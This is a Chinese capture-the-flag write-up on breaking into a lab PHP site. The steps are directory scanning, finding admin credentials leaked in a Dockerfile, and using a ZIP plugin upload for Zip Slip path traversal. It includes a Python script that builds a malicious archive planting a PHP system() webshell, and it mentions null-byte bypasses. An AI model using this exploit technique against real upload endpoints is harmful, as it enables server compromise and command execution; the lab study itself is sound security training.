静态网站渗透实战:从信息泄露到 Flag 获取

目录

前言

所有操作均在授权靶场环境内进行,本文仅用于网络安全学习交流,严禁用于非法攻击,任何违法行为均与作者无关。
本文首发于公众号"希泽Sec"

靶场描述

静态网站渗透测试,目标是攻破站点获取 Flag,Flag 存储路径:/tmp/flag.txt。

静态网站核心测试思路

1.网站类型识别:判断站点是否为纯静态页面

2.子域名挖掘(本靶场无子域名,所以跳过)

3.目录扫描:dirsearch、御剑等

4.指纹识别、CMS判断:使用 Wappalyzer插件

渗透流程

启动靶场并访问首页,通过Wappalyzer插件检测发现:站点实际采用PHP语言开发,并非纯静态网站。

首页明确提示:"你能找到隐藏的管理员后台并获取权限吗?",由此确定核心方向:目录扫描。

打开dirsearch目录扫描工具,执行命令:python dirsearch.py -u "目标URL"

扫描出 3 个敏感路径:

/admin/login.php

/CgiStart?page=Single

/Dockerfile

步骤1:尝试登录与路径测试

访问/admin/login.php,尝试弱口令爆破,失败但无账户/IP锁定机制,后续暴力破解仍无果;

访问/CgiStart?page=Single,返回404页面;

访问/Dockerfile,发现关键信息泄露:暴露网站根目录、用户名及密码等敏感数据。

步骤 2:获取凭证登录后台

从Dockerfile中提取有效账号密码:

haobachang666 / xmcve2018

使用该账号密码登录管理员后台,登录成功。

步骤 3:利用上传漏洞 + 目录穿越拿Flag

进入后台"插件管理"模块,发现仅支持ZIP格式文件上传,结合此前泄露的网站根目录且权限为777,想到可以利用Zip Slip 目录穿越。

首次尝试上传PHP一句话木马,触发安全告警:"插件包含恶意代码!安装被终止。",直接上传木马被拦截。

转换思路:构造无特征命令执行代码,直接读取Flag文件,最终Payload:<?php system("cat /tmp/flag.txt"); ?>

步骤 4:生成恶意 ZIP 并上传

通过 Python 脚本构造穿越目录的 ZIP 文件,代码如下:
点击查看代码

复制代码
import zipfile

# 命令执行代码
shell_content = "<?php system('cat /tmp/flag.txt'); ?>"
# 穿越路径,写入网站根目录
target_path = "../../../../var/www/html/shell.php"

with zipfile.ZipFile("test3.zip", "w") as zf:
    zf.writestr(target_path, shell_content)

print("恶意ZIP生成完成,将写入 /var/www/html/shell.php")

上传构造好的ZIP文件,插件部署成功。

直接访问/shell.php,成功读取 Flag。

后续测试发现:采用双写绕过+%00截断,同样可实现目录穿越获取Flag。


至此,静态网站渗透思路分享结束,感谢支持!